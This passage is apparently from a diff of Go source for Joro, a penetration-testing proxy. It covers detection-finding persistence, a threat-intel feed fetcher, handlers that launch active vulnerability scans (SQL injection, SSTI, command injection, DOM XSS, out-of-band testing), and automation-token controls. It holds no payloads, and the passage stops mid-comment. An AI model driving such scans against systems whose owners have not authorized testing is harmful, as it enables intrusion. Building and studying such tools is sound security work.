s.detectEngine.SetDisabledBuiltins(cfg.DetectDisabledRules)
s.detectEngine.SetSeverityOverrides(cfg.DetectSeverityOverrides)
if s.detectFindings != nil {
s.detectFindings.Load(decodePersistedFindings(cfg.DetectFindings))
}
// The load response carries a finding count, not the findings themselves; the
// frontend paginates GET /detect/findings.
return map[string]any{
"detectEnabled": cfg.DetectEnabled,
"detectConfig": s.detectEngine.Config(),
"detectRules": s.detectEngine.UserRules(),
"detectDisabledRules": s.detectEngine.DisabledBuiltins(),
"detectSeverityOverrides": s.detectEngine.SeverityOverrides(),
"detectFindingCount": len(cfg.DetectFindings),
}
}
// decodePersistedFindings rebuilds findings from project DTOs.
func decodePersistedFindings(in []projectDetectFinding) []detect.Finding {
out := make([]detect.Finding, 0, len(in))
for _, p := range in {
first, _ := time.Parse(time.RFC3339Nano, p.FirstSeen)
last, _ := time.Parse(time.RFC3339Nano, p.LastSeen)
occ := make([]detect.Occurrence, 0, len(p.Occurrences))
for _, o := range p.Occurrences {
ts, _ := time.Parse(time.RFC3339Nano, o.Timestamp)
occ = append(occ, detect.Occurrence{
RequestID: o.RequestID, Seq: o.Seq, Method: o.Method, URL: o.URL,
StatusCode: o.StatusCode, Timestamp: ts, Offset: o.Offset, Part: o.Part,
})
}
out = append(out, detect.Finding{
ID: p.ID, RuleID: p.RuleID, RuleName: p.RuleName,
Category: detect.Category(p.Category), Severity: detect.Severity(p.Severity),
Confidence: detect.Confidence(p.Confidence), Target: detect.Target(p.Target),
Host: p.Host, Method: p.Method, URL: p.URL, RequestID: p.RequestID,
Detail: p.Detail, Evidence: p.Evidence, RawEvidence: p.RawEvidence,
EvidenceOffset: p.EvidenceOffset, EvidenceLength: p.EvidenceLength,
EvidencePart: p.EvidencePart,
FirstSeen: first, LastSeen: last, Count: p.Count,
FalsePositive: p.FalsePositive, Notes: p.Notes, Truncated: p.Truncated,
SeverityOverridden: p.SeverityOverridden, Occurrences: occ,
})
}
return out
}
// resetDetectLiveState restores detection to shipped defaults for a fresh
// project: built-ins return to the default-enabled table.
func (s *APIServer) resetDetectLiveState() {
if s.detectEngine == nil {
return
}
s.detectEngine.SetEnabled(true)
s.detectEngine.SetConfig(detect.DefaultConfig())
s.detectEngine.SetUserRules(nil)
s.detectEngine.SetDisabledBuiltins(nil)
s.detectEngine.SetSeverityOverrides(nil)
if s.detectFindings != nil {
s.detectFindings.Clear()
}
s.resetDetectCursor(0)
}
// detectSignature contributes to the auto-save fingerprint. It includes the
// findings store's revision counter: the rest of the fingerprint is built from
// counts, and a false-positive toggle or note edit changes no count.
func (s *APIServer) detectSignature() string {
if s.detectEngine == nil || s.detectFindings == nil {
return ""
}
return "/dr" + itoa(len(s.detectEngine.UserRules())) +
"/dd" + itoa(len(s.detectEngine.DisabledBuiltins())) +
"/df" + itoa(s.detectFindings.Count()) +
"/dg" + utoa(s.detectFindings.Revision())
}
// itoa and utoa keep detectSignature free of a fmt dependency.
func itoa(n int) string {
if n == 0 {
return "0"
}
neg := n < 0
if neg {
n = -n
}
var buf [20]byte
i := len(buf)
for n > 0 {
i--
buf[i] = byte('0' + n%10)
n /= 10
}
if neg {
i--
buf[i] = '-'
}
return string(buf[i:])
}
func utoa(n uint64) string {
if n == 0 {
return "0"
}
var buf [24]byte
i := len(buf)
for n > 0 {
i--
buf[i] = byte('0' + n%10)
n /= 10
}
return string(buf[i:])
}
+163
View File
@@ -0,0 +1,163 @@
package api
import (
"context"
"fmt"
"io"
"log"
"net/http"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/feeds"
"github.com/BishopFox/joro/internal/proxy"
)
// Bringing the threat-intel feed aggregator up.
//
// Like the webhook feature, it is independent of automation and built in New rather than in
// SetAutomation — an operator wanting CVE and KEV intel on their dashboard should not have to
// arm an agent. The only switches are --no-feeds (removes it) and the off-by-default Settings
// toggle (fetches nothing until armed). internal/feeds imports nothing from this package; the
// outbound client is injected here as feedsFetch, the one place internal/proxy is reached.
// initFeeds opens feeds.json and builds the aggregator over the curated source set.
//
// A failure is non-fatal and disables the feature rather than the proxy, the same way an
// unreadable webhooks.json does, and is logged loudly so a silently absent store does not look
// like the operator's settings vanished.
func (s *APIServer) initFeeds() {
if s.listenerMode || s.cfg.NoFeeds {
return
}
store, err := feeds.NewSettingsStore(s.cfg.DataDir)
if err != nil {
log.Printf("[feeds] threat-intel feeds are disabled this run: %v", err)
return
}
s.feedsStore = store
s.feeds = feeds.NewAggregator(feeds.DefaultSources(), s.feedsFetch)
}
// feedsFetch is the injected FetchFunc: a verified-TLS (insecure=false), no-redirect GET with
// a request timeout and a bounded read. NewOutboundHTTPClient rather than NewHTTPClient because
// NVD/CISA/ExploitDB/FIRST.org are public infrastructure to be authenticated, not MITM targets.
//
// Direct egress by default: feed traffic is incidental intel, not engagement traffic, so it
// should not consume or reveal the operator's SOCKS tunnel. Passing a nil TransportConfig
// leaves DialContext unset (a direct dial); only when the operator opts in via RouteThroughSocks
// is s.transport passed, which honors SOCKS when one is configured. Built per fetch and closed,
// because the transport snapshots the dialer at build time and has no idle timeout.
func (s *APIServer) feedsFetch(ctx context.Context, rawURL string, limitBytes int64) ([]byte, error) {
var tc *proxy.TransportConfig
if s.feedsStore != nil && s.feedsStore.Get().RouteThroughSocks {
tc = s.transport
}
client := proxy.NewOutboundHTTPClient(tc, false)
defer client.CloseIdleConnections()
ctx, cancel := context.WithTimeout(ctx, 30*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return nil, err
}
req.Header.Set("Accept", "application/json, application/atom+xml, application/rss+xml, application/xml;q=0.9, */*;q=0.1")
req.Header.Set("User-Agent", "Joro/"+s.buildInfo.Version)
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("feed endpoint returned HTTP %d", resp.StatusCode)
}
return io.ReadAll(io.LimitReader(resp.Body, limitBytes))
}
// startFeedsLoop runs the periodic refresher for the life of the server.
//
// A one-minute ticker is the backstop resolution; the actual cadence is the operator's
// interval (floored at 15 min), tracked by nextRun. The loop no-ops while feeds are disabled
// in settings, so toggling them on takes effect with no restart — and a handler kicks an
// immediate refresh on an enable-flip so the UI does not wait up to a minute. feedsCtx is set
// here, before serving, so a handler-kicked refresh can outlive its request.
func (s *APIServer) startFeedsLoop(ctx context.Context) {
if s.feeds == nil || s.feedsStore == nil {
return
}
s.feedsCtx = ctx
go func() {
// A short settle so startup is not a thundering herd of outbound calls.
select {
case <-ctx.Done():
return
case <-time.After(10 * time.Second):
}
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
var nextRun time.Time // zero => run on the first enabled pass
for {
st := s.feedsStore.Get()
if st.Enabled && (nextRun.IsZero() || !time.Now().Before(nextRun)) {
s.refreshFeedsTick(ctx)
nextRun = time.Now().Add(time.Duration(st.IntervalMinutes) * time.Minute)
}
select {
case <-ctx.Done():
return
case <-ticker.C:
}
}
}()
}
// refreshFeedsTick refreshes the enabled categories and broadcasts the summary. A no-op when
// feeds are off, so every caller (the loop, the manual-refresh handler, the enable kick) can
// call it unconditionally.
func (s *APIServer) refreshFeedsTick(ctx context.Context) {
if s.feeds == nil || s.feedsStore == nil {
return
}
st := s.feedsStore.Get()
if !st.Enabled {
return
}
snap := s.feeds.Refresh(ctx, st.Categories)
s.hub.Broadcast() <- event.WSEvent{Type: "feeds.updated", Data: feedsSummary(snap)}
}
// feedsContext returns the server-lifetime context for a handler-kicked refresh, falling back
// to Background if the loop never started (it always does in proxy mode when feeds are on).
func (s *APIServer) feedsContext() context.Context {
if s.feedsCtx != nil {
return s.feedsCtx
}
return context.Background()
}
// feedsSummaryData is the small, droppable hint pushed on feeds.updated. The client re-GETs
// the authoritative snapshot, the same pattern tech.detected / detect.summary use.
type feedsSummaryData struct {
GeneratedAt time.Time `json:"generatedAt"`
Counts map[string]int `json:"counts"`
AnyStale bool `json:"anyStale"`
}
func feedsSummary(snap feeds.Snapshot) feedsSummaryData {
counts := make(map[string]int, len(snap.Items))
for cat, list := range snap.Items {
counts[string(cat)] = len(list)
}
anyStale := false
for _, src := range snap.Sources {
if src.Stale {
anyStale = true
break
}
}
return feedsSummaryData{GeneratedAt: snap.GeneratedAt, Counts: counts, AnyStale: anyStale}
}
+498
View File
@@ -0,0 +1,498 @@
package api
import (
"context"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
)
// activeScanAvailable guards the active-scan routes, which exist only in proxy
// mode. A JSON 404 rather than an unregistered route, so the SPA catch-all does
// not answer with 200 + HTML.
func (s *APIServer) activeScanAvailable(w http.ResponseWriter) bool {
if s.activeScans == nil || s.activeScanRules == nil {
writeError(w, http.StatusNotFound, "active scanning is not available in this mode")
return false
}
return true
}
// activeScanRequest starts a scan of a host or a single request.
type activeScanRequest struct {
// Scope is "host" (every captured GET endpoint for Origin) or "request" (one
// URL, from RequestID or URL).
Scope string `json:"scope"`
Origin string `json:"origin,omitempty"` // scheme://host[:port], for a host scan
URL string `json:"url,omitempty"` // a single URL, e.g. from Manipulate
RequestID string `json:"requestId,omitempty"` // a captured request to scan
Rules []string `json:"rules,omitempty"` // rule IDs; empty = all
BudgetMs int `json:"budgetMs,omitempty"`
// Template-signature rule options. Tags and Severity narrow which signatures
// run; IgnoreFingerprint skips technology gating and runs every eligible one.
Tags []string `json:"tags,omitempty"`
Severity []string `json:"severity,omitempty"`
IgnoreFingerprint bool `json:"ignoreFingerprint,omitempty"`
// OAST opts out-of-band testing in or out when a listener is configured; nil
// (omitted) leaves it on, false turns it off. It never enables OAST when no
// callback domain is configured — that gate is server-side.
OAST *bool `json:"oast,omitempty"`
}
func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
var req activeScanRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
target, err := s.resolveScanTarget(req)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Scope filter, never a rule-count check: InScope returns true when scope
// filtering is disabled, so with scope off nothing is rejected and the scan
// covers every target. A host scan silently drops out-of-scope endpoints; a
// single-request scan whose one URL is out of scope is refused outright so the
// operator is not left with a silent, empty run.
inScope, skipped := s.filterInScope(target.URLs)
if len(inScope) == 0 {
if req.Scope == "request" {
writeError(w, http.StatusForbidden, "target is out of scope; adjust scope rules or disable scope filtering")
return
}
writeError(w, http.StatusBadRequest, "no in-scope GET endpoints to scan for this host")
return
}
target.URLs = inScope
rules := s.activeScanRules.Resolve(req.Rules)
cfg := activescan.Config{
Scope: req.Scope,
Rules: req.Rules,
BudgetMs: req.BudgetMs,
Tags: req.Tags,
Severity: req.Severity,
IgnoreFingerprint: req.IgnoreFingerprint,
NoOAST: req.OAST != nil && !*req.OAST,
}
total, err := activescan.Plan(cfg, target, rules)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
ruleIDs := make([]string, 0, len(rules))
for _, rule := range rules {
ruleIDs = append(ruleIDs, rule.ID())
}
// One at a time, globally. A DOM XSS scan drives a single browser and a future
// state-changing rule would race the target's own state; the claim and the
// insert are one operation so two requests cannot both pass.
run := activescan.NewRun(proxy.GenerateID(), cfg, target, ruleIDs, total)
if running := s.activeScans.AddIfIdle(run); running != nil {
writeError(w, http.StatusConflict,
fmt.Sprintf("a scan of %q is already in flight; stop it before starting another", running.Origin))
return
}
deps := activescan.Deps{
Broadcast: s.hub.Broadcast(),
Findings: s.detectFindings,
Notify: s.broadcastDetectSummary,
Registry: s.activeScanRules,
RuleDeps: activescan.RuleDeps{
ProxyAddr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
CA: s.ca,
Store: s.store,
Scope: s.scope,
DataDir: s.cfg.DataDir,
Tech: s.techStore(),
Callback: s.cbStore,
},
}
// context.Background, not the request's: a scan outlives the HTTP call.
go activescan.Execute(context.Background(), run, deps)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "total": total, "rules": ruleIDs,
"urls": len(target.URLs), "skipped": skipped,
})
}
// resolveScanTarget turns a request into the concrete URLs to scan.
func (s *APIServer) resolveScanTarget(req activeScanRequest) (activescan.Target, error) {
switch req.Scope {
case "host":
if req.Origin == "" {
return activescan.Target{}, fmt.Errorf("origin is required for a host scan")
}
return s.hostTarget(req.Origin)
case "request":
return s.requestTarget(req)
default:
return activescan.Target{}, fmt.Errorf("scope must be \"host\" or \"request\"")
}
}
// hostTarget collects a host's distinct requests from the capture store, carrying
// the raw bytes and method so the injection rules can fuzz parameters (GET query +
// POST/PUT/PATCH bodies) and DOM XSS can navigate the GET pages. Distinct by
// method+URL+body-shape, so two POSTs to one URL with different bodies both count.
// Not capped by a request count — the scan budget bounds the work.
func (s *APIServer) hostTarget(origin string) (activescan.Target, error) {
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return activescan.Target{}, fmt.Errorf("invalid origin")
}
reqs := s.store.NodeRequests(origin, "", false, proxy.RequestFilter{})
seen := map[string]bool{}
var urls []activescan.TargetURL
for _, cr := range reqs {
key := fmt.Sprintf("%s %s %d", cr.Method, cr.URL, len(cr.ReqRaw))
if seen[key] {
continue
}
seen[key] = true
urls = append(urls, activescan.TargetURL{URL: cr.URL, Method: cr.Method, RequestID: cr.ID, RawReq: cr.ReqRaw})
}
if len(urls) == 0 {
return activescan.Target{}, fmt.Errorf("no captured endpoints for %s", origin)
}
return activescan.Target{Scheme: u.Scheme, Host: u.Host, Origin: origin, URLs: urls}, nil
}
// requestTarget builds a single-request target from a captured request or a raw
// URL, carrying the raw bytes and method for the injection rules.
func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, error) {
rawURL := strings.TrimSpace(req.URL)
method := "GET"
requestID := ""
var rawReq []byte
if req.RequestID != "" {
cr := s.store.Get(req.RequestID)
if cr == nil {
return activescan.Target{}, fmt.Errorf("no such request")
}
rawURL = cr.URL
requestID = cr.ID
method = cr.Method
rawReq = cr.ReqRaw
}
if rawURL == "" {
return activescan.Target{}, fmt.Errorf("a request scan needs a requestId or url")
}
u, err := url.Parse(rawURL)
if err != nil || u.Host == "" || u.Scheme == "" {
return activescan.Target{}, fmt.Errorf("invalid url")
}
return activescan.Target{
Scheme: u.Scheme,
Host: u.Host,
Origin: u.Scheme + "://" + u.Host,
URLs: []activescan.TargetURL{{URL: rawURL, Method: method, RequestID: requestID, RawReq: rawReq}},
}, nil
}
// filterInScope keeps only URLs that pass scope, returning the kept set and the
// number dropped. With scope filtering disabled, InScope is true for all.
func (s *APIServer) filterInScope(urls []activescan.TargetURL) (kept []activescan.TargetURL, skipped int) {
for _, tu := range urls {
u, err := url.Parse(tu.URL)
if err != nil {
skipped++
continue
}
method := tu.Method
if method == "" {
method = "GET"
}
if s.scope.InScope(u.Host, method, u.Path) {
kept = append(kept, tu)
} else {
skipped++
}
}
return kept, skipped
}
// activeRuleSeverity is the representative severity shown for a single-row active
// rule in the Rules UI; the actual findings carry their own confirmed severity.
func activeRuleSeverity(cat detect.Category) detect.Severity {
switch cat {
case detect.CategorySQLi, detect.CategorySSTI, detect.CategoryCommandInjection:
return detect.SeverityCritical
case detect.CategoryOpenRedirect:
return detect.SeverityMedium
default:
return detect.SeverityHigh
}
}
func (s *APIServer) handleActiveScanRules(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rules := s.activeScanRules.All()
out := make([]map[string]any, 0, len(rules))
for _, rule := range rules {
entry := map[string]any{
"id": rule.ID(), "name": rule.Name(), "category": string(rule.Category()),
"description": rule.Description(),
"enabled": s.activeScanRules.IsEnabled(rule.ID()),
}
// hasSignatures tells the UI to render the rule's catalog items as rows rather
// than the rule as a single row: any rule implementing Cataloger has a catalog.
_, hasCatalog := rule.(activescan.Cataloger)
entry["hasSignatures"] = hasCatalog
// A single-row rule carries the row's severity/confidence/target (its
// representative class severity); a catalog rule's rows carry their own.
if !hasCatalog {
entry["severity"] = string(activeRuleSeverity(rule.Category()))
entry["confidence"] = string(detect.ConfidenceHigh)
entry["target"] = string(detect.TargetMessage)
}
out = append(out, entry)
}
writeJSON(w, http.StatusOK, map[string]any{"rules": out})
}
// handleSetActiveScanRuleEnabled toggles whether a rule runs when a scan is
// started without an explicit rule selection. The toggle persists with the
// project, so it marks the config dirty. Mirrors handleSetDetectRuleEnabled.
func (s *APIServer) handleSetActiveScanRuleEnabled(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
id := r.PathValue("id")
if s.activeScanRules.Get(id) == nil {
writeError(w, http.StatusNotFound, "no such rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.activeScanRules.SetEnabled(id, body.Enabled)
// The toggle is picked up by the next autosave tick, which compares
// projectSignature (now carrying the disabled set); no explicit save here.
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// collectDisabledItems gathers every catalog rule's disabled item ids, keyed by rule
// id, for the project file. Returns nil when nothing is disabled (exceptions-only).
func (s *APIServer) collectDisabledItems() map[string][]string {
if s.activeScanRules == nil {
return nil
}
out := map[string][]string{}
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
if d := c.DisabledItems(); len(d) > 0 {
out[rule.ID()] = d
}
}
}
if len(out) == 0 {
return nil
}
return out
}
// applyDisabledItems distributes a rule-keyed disabled-items map back onto the catalog
// rules on a project restore; a missing key clears that rule's set (everything enabled).
func (s *APIServer) applyDisabledItems(m map[string][]string) {
if s.activeScanRules == nil {
return
}
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
c.SetDisabledItems(m[rule.ID()])
}
}
}
// disabledItemsSignature fingerprints every catalog rule's disabled set for the
// autosave dirty-check (registration order is stable, so the string is deterministic).
func (s *APIServer) disabledItemsSignature() string {
if s.activeScanRules == nil {
return ""
}
var b strings.Builder
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
b.WriteString("/ci:" + rule.ID() + ":" + strings.Join(c.DisabledItems(), ","))
}
}
return b.String()
}
// catalogRule returns the rule with the given id as a Cataloger, or nil if the rule
// does not exist or has no catalog. It replaces the old templatesig-specific resolver,
// so any catalog rule (template signatures, the injection rules) works generically.
func (s *APIServer) catalogRule(id string) activescan.Cataloger {
if s.activeScanRules == nil {
return nil
}
c, _ := s.activeScanRules.Get(id).(activescan.Cataloger)
return c
}
// handleActiveScanSignatures returns a rule's read-only catalog — one item per
// signature or check, with its enabled-state and per-severity counts.
func (s *APIServer) handleActiveScanSignatures(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
items := rule.CatalogItems()
bySeverity := map[string]int{}
for i := range items {
bySeverity[items[i].Severity]++
}
writeJSON(w, http.StatusOK, map[string]any{
"signatures": items, "total": len(items), "bySeverity": bySeverity,
})
}
// handleSetActiveScanSignaturesBulk enables or disables every item of a rule's
// catalog in one call — the "Enable all / Disable all" control.
func (s *APIServer) handleSetActiveScanSignaturesBulk(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Enabled {
rule.SetDisabledItems(nil)
} else {
items := rule.CatalogItems()
ids := make([]string, 0, len(items))
for i := range items {
ids = append(ids, items[i].ID)
}
rule.SetDisabledItems(ids)
}
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// handleSetActiveScanSignatureEnabled toggles one catalog item of a rule. Rule-scoped
// because check ids (e.g. "time-based") can repeat across rules. Persists with the
// project (projectSignature carries the disabled set), like the rule toggle.
func (s *APIServer) handleSetActiveScanSignatureEnabled(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
rule.SetItemEnabled(r.PathValue("itemId"), body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
func (s *APIServer) handleActiveScanListRuns(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
runs := s.activeScans.List()
out := make([]map[string]any, 0, len(runs))
for _, run := range runs {
out = append(out, activeScanHead(run))
}
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
}
func activeScanHead(run *activescan.Run) map[string]any {
completed, errs, findings := run.Counts()
return map[string]any{
"id": run.ID, "host": run.Host, "origin": run.Origin, "scope": run.Scope,
"rules": run.Rules, "status": string(run.Status()), "total": run.Total,
"completed": completed, "errors": errs, "findings": findings,
"createdAt": run.CreatedAt,
}
}
func (s *APIServer) handleActiveScanGetRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
body := activeScanHead(run)
body["errorMessages"] = run.Errors()
writeJSON(w, http.StatusOK, body)
}
func (s *APIServer) handleActiveScanStopRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if !run.Stop() {
writeError(w, http.StatusConflict, "run is not running")
return
}
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
}
func (s *APIServer) handleActiveScanDeleteRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Status() == activescan.StatusRunning {
writeError(w, http.StatusConflict, "stop the run before deleting it")
return
}
s.activeScans.Delete(run.ID)
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
+580
View File
@@ -0,0 +1,580 @@
package api
import (
"encoding/json"
"errors"
"fmt"
"net/http"
"path/filepath"
"sort"
"strconv"
"strings"
"time"
"github.com/BishopFox/joro/internal/automation"
"github.com/BishopFox/joro/internal/capability"
"github.com/BishopFox/joro/internal/capreg"
)
// The automation control plane. These routes exist only in proxy mode, only when
// a token store was configured, and only behind originGuard — the same same-origin
// gate the rest of the UI API uses.
//
// They are deliberately not capabilities and never will be. An automation client
// reaches Joro on a different port, on a mux where /api/v1/* is not registered at
// all, so there is no route from a bearer token to this file. See
// internal/capability/reserved.go for the full argument.
// tokenView is the API shape of a token. It has no secret field, and neither does
// automation.Token — the plaintext exists only in the create and rotate replies.
type tokenView struct {
automation.Token
// UngrantedCapabilities is the set difference against the live registry, so
// the UI can say "three new capabilities exist" without ever granting one.
UngrantedCapabilities []string `json:"ungrantedCapabilities,omitempty"`
// SendsTraffic drives the UI's warning affordances.
SendsTraffic bool `json:"sendsTraffic"`
Expired bool `json:"expired"`
}
type capabilityView struct {
ID string `json:"id"`
Class string `json:"class"`
Title string `json:"title"`
Description string `json:"description"`
Mutating bool `json:"mutating"`
SendsTraffic bool `json:"sendsTraffic"`
// UnrestrictedOnly is refused to a token with requireScope set or a host
// whitelist, so the grant editor can warn that such a grant would be inert
// rather than letting the operator discover it from a denial.
UnrestrictedOnly bool `json:"unrestrictedOnly"`
// Privileged marks execution and C2, which no profile grants and which are only
// registered under --automation-privileged.
Privileged bool `json:"privileged"`
InputSchema json.RawMessage `json:"inputSchema"`
MaxOutputBytes int `json:"maxOutputBytes"`
ToolName string `json:"toolName"`
}
func (s *APIServer) requireAutomation(w http.ResponseWriter) bool {
if !s.automationEnabled() {
writeError(w, http.StatusNotFound, "automation is not enabled on this instance")
return false
}
return true
}
func (s *APIServer) handleListAutomationTokens(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
writeJSON(w, http.StatusOK, map[string]any{"tokens": s.tokenViews()})
}
func (s *APIServer) tokenViews() []tokenView {
tokens := s.autoStore.List()
registered := s.capRegistry.IDs()
now := time.Now()
out := make([]tokenView, 0, len(tokens))
for i := range tokens {
t := tokens[i]
held := make(map[string]struct{}, len(t.Grants))
for _, g := range t.Grants {
held[g] = struct{}{}
}
var ungranted []string
for _, id := range registered {
if _, ok := held[id]; !ok {
ungranted = append(ungranted, id)
}
}
out = append(out, tokenView{
Token: t,
UngrantedCapabilities: ungranted,
SendsTraffic: t.SendsTraffic(s.capRegistry),
Expired: t.Expired(now),
})
}
return out
}
type createTokenReq struct {
Name string `json:"name"`
Grants []string `json:"grants"`
RequireScope *bool `json:"requireScope"`
HostAllow []string `json:"hostAllow"`
AllowCredentials bool `json:"allowCredentials"`
RateLimitPerMin int `json:"rateLimitPerMin"`
MaxConcurrent int `json:"maxConcurrent"`
MaxOutputBytes int `json:"maxOutputBytes"`
ExpiresInDays int `json:"expiresInDays"`
}
func (s *APIServer) handleCreateAutomationToken(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
var body createTokenReq
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if err := s.validateTokenInput(body.Name, body.Grants, body.HostAllow,
body.RateLimitPerMin, body.MaxConcurrent, body.MaxOutputBytes, body.ExpiresInDays); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Default requireScope to on. A token that can send is far more dangerous
// than one that cannot, and the safe default should not depend on the client
// remembering to ask for it.
requireScope := true
if body.RequireScope != nil {
requireScope = *body.RequireScope
}
tok, secret, err := s.autoStore.Create(automation.CreateParams{
Name: body.Name,
Grants: normalizeGrants(body.Grants),
RequireScope: requireScope,
HostAllow: normalizeHostAllow(body.HostAllow),
AllowCredentials: body.AllowCredentials,
RateLimitPerMin: body.RateLimitPerMin,
MaxConcurrent: body.MaxConcurrent,
MaxOutputBytes: body.MaxOutputBytes,
ExpiresInDays: body.ExpiresInDays,
CapsFingerprint: s.capRegistry.Fingerprint(),
GrantedAtVersion: s.buildInfo.Version,
})
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
// The only response in the whole API that carries a plaintext secret.
writeJSON(w, http.StatusCreated, map[string]any{"token": tok, "secret": secret})
}
type updateTokenReq struct {
Name *string `json:"name"`
Grants *[]string `json:"grants"`
RequireScope *bool `json:"requireScope"`
HostAllow *[]string `json:"hostAllow"`
AllowCredentials *bool `json:"allowCredentials"`
RateLimitPerMin *int `json:"rateLimitPerMin"`
MaxConcurrent *int `json:"maxConcurrent"`
MaxOutputBytes *int `json:"maxOutputBytes"`
}
func (s *APIServer) handleUpdateAutomationToken(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
var body updateTokenReq
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
p := automation.UpdateParams{
Name: body.Name, RequireScope: body.RequireScope,
AllowCredentials: body.AllowCredentials,
RateLimitPerMin: body.RateLimitPerMin, MaxConcurrent: body.MaxConcurrent,
MaxOutputBytes: body.MaxOutputBytes,
}
if body.Grants != nil {
if err := s.validateGrants(*body.Grants); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
g := normalizeGrants(*body.Grants)
p.Grants = &g
// Editing grants is a review, so stamp the current fingerprint.
fp := s.capRegistry.Fingerprint()
p.CapsFingerprint = &fp
v := s.buildInfo.Version
p.GrantedAtVersion = &v
}
if body.HostAllow != nil {
if err := validateHostAllow(*body.HostAllow); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
h := normalizeHostAllow(*body.HostAllow)
p.HostAllow = &h
}
if body.RateLimitPerMin != nil || body.MaxConcurrent != nil || body.MaxOutputBytes != nil {
if err := validateLimits(deref(body.RateLimitPerMin), deref(body.MaxConcurrent), deref(body.MaxOutputBytes)); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
}
tok, err := s.autoStore.Update(r.PathValue("id"), p)
if err != nil {
s.writeTokenErr(w, err)
return
}
writeJSON(w, http.StatusOK, map[string]any{"token": tok})
}
func (s *APIServer) handleRotateAutomationToken(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
// Reads no body; see requireLocalOrigin.
if !requireLocalOrigin(w, r) {
return
}
id := r.PathValue("id")
tok, secret, err := s.autoStore.Rotate(id)
if err != nil {
s.writeTokenErr(w, err)
return
}
// A rotated secret starts a new session; the old jar does not carry over.
s.capContexts.Reset(id)
writeJSON(w, http.StatusOK, map[string]any{"token": tok, "secret": secret})
}
func (s *APIServer) handleSetAutomationTokenEnabled(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
disabled := !body.Enabled
if disabled {
s.capContexts.Reset(r.PathValue("id"))
}
tok, err := s.autoStore.Update(r.PathValue("id"), automation.UpdateParams{Disabled: &disabled})
if err != nil {
s.writeTokenErr(w, err)
return
}
writeJSON(w, http.StatusOK, map[string]any{"token": tok})
}
// handleReviewAutomationToken stamps the current capability fingerprint without
